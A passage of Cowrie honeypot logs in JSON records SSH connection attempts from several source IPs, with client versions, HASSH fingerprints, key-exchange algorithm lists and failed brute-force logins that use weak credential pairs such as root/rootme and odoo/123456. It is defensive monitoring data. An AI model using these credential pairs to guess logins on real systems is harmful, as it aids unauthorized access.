com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:18.734953Z","src_ip":"159.203.92.129","session":"5692a59c7a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexadra","password":"alexandra","message":"login attempt [alexadra/alexandra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:18.746584Z","src_ip":"159.203.92.129","session":"5692a59c7a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:19.752200Z","src_ip":"159.203.92.129","session":"5692a59c7a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":34846,"dst_ip":"159.203.135.109","dst_port":22,"session":"83543778ace5","protocol":"ssh","message":"New connection: 152.32.213.101:34846 (159.203.135.109:22) [session: 83543778ace5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:24.888088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:24.896417Z","src_ip":"152.32.213.101","session":"83543778ace5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:25.114563Z","src_ip":"152.32.213.101","session":"83543778ace5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123456","message":"login attempt [odoo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:26.027700Z","src_ip":"152.32.213.101","session":"83543778ace5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":38888,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f13d551996e","protocol":"ssh","message":"New connection: 112.217.199.222:38888 (10.17.0.5:22) [session: 6f13d551996e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:27.034970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:27.039155Z","src_ip":"112.217.199.222","session":"6f13d551996e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:27.244559Z","src_ip":"112.217.199.222","session":"6f13d551996e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:27.250492Z","src_ip":"152.32.213.101","session":"83543778ace5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootme","message":"login attempt [root/rootme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:28.108477Z","src_ip":"112.217.199.222","session":"6f13d551996e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:29.319545Z","src_ip":"112.217.199.222","session":"6f13d551996e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.3868145942688,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:31.033746Z","src_ip":"144.79.218.12","session":"714d6edebfb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":49010,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9776fa2e72e","protocol":"ssh","message":"New connection: 171.244.143.209:49010 (10.17.0.5:22) [session: b9776fa2e72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:37.669942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:37.878168Z","src_ip":"171.244.143.209","session":"b9776fa2e72e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:38.112808Z","src_ip":"171.244.143.209","session":"b9776fa2e72e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Apple123!","message":"login attempt [root/Apple123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:39.672653Z","src_ip":"171.244.143.209","session":"b9776fa2e72e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:41.043682Z","src_ip":"171.244.143.209","session":"b9776fa2e72e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.110.147.56","src_port":54102,"dst_ip":"10.17.0.5","dst_port":22,"session":"577b8fcf354f","protocol":"ssh","message":"New connection: 222.110.147.56:54102 (10.17.0.5:22) [session: 577b8fcf354f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:44.366982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:44.371853Z","src_ip":"222.110.147.56","session":"577b8fcf354f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:44.569285Z","src_ip":"222.110.147.56","session":"577b8fcf354f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password01","message":"login attempt [test/password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:45.396843Z","src_ip":"222.110.147.56","session":"577b8fcf354f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:46.597599Z","src_ip":"222.110.147.56","session":"577b8fcf354f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38494,"dst_ip":"159.203.135.109","dst_port":22,"session":"6597b988a365","protocol":"ssh","message":"New connection: 159.203.92.129:38494 (159.203.135.109:22) [session: 6597b988a365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:59.255213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:59.259171Z","src_ip":"159.203.92.129","session":"6597b988a365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:59.263103Z","src_ip":"159.203.92.129","session":"6597b988a365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexander","password":"123456","message":"login attempt [alexander/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:59.274278Z","src_ip":"159.203.92.129","session":"6597b988a365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:00.284475Z","src_ip":"159.203.92.129","session":"6597b988a365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":52690,"dst_ip":"159.203.135.109","dst_port":22,"session":"18b18bccc657","protocol":"ssh","message":"New connection: 152.32.213.101:52690 (159.203.135.109:22) [session: 18b18bccc657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:25.036401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:25.042810Z","src_ip":"152.32.213.101","session":"18b18bccc657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:25.253959Z","src_ip":"152.32.213.101","session":"18b18bccc657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456DA","message":"login attempt [root/123456DA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:26.091821Z","src_ip":"152.32.213.101","session":"18b18bccc657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:27.306279Z","src_ip":"152.32.213.101","session":"18b18bccc657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":56480,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe9d8bdd2b5e","protocol":"ssh","message":"New connection: 112.217.199.222:56480 (10.17.0.5:22) [session: fe9d8bdd2b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:27.510937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:27.515234Z","src_ip":"112.217.199.222","session":"fe9d8bdd2b5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:27.720697Z","src_ip":"112.217.199.222","session":"fe9d8bdd2b5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ulises","message":"login attempt [root/ulises] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:28.581087Z","src_ip":"112.217.199.222","session":"fe9d8bdd2b5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:29.790240Z","src_ip":"112.217.199.222","session":"fe9d8bdd2b5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52922,"dst_ip":"159.203.135.109","dst_port":22,"session":"751c74c3f13e","protocol":"ssh","message":"New connection: 159.203.92.129:52922 (159.203.135.109:22) [session: 751c74c3f13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:41.078124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:41.082939Z","src_ip":"159.203.92.129","session":"751c74c3f13e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 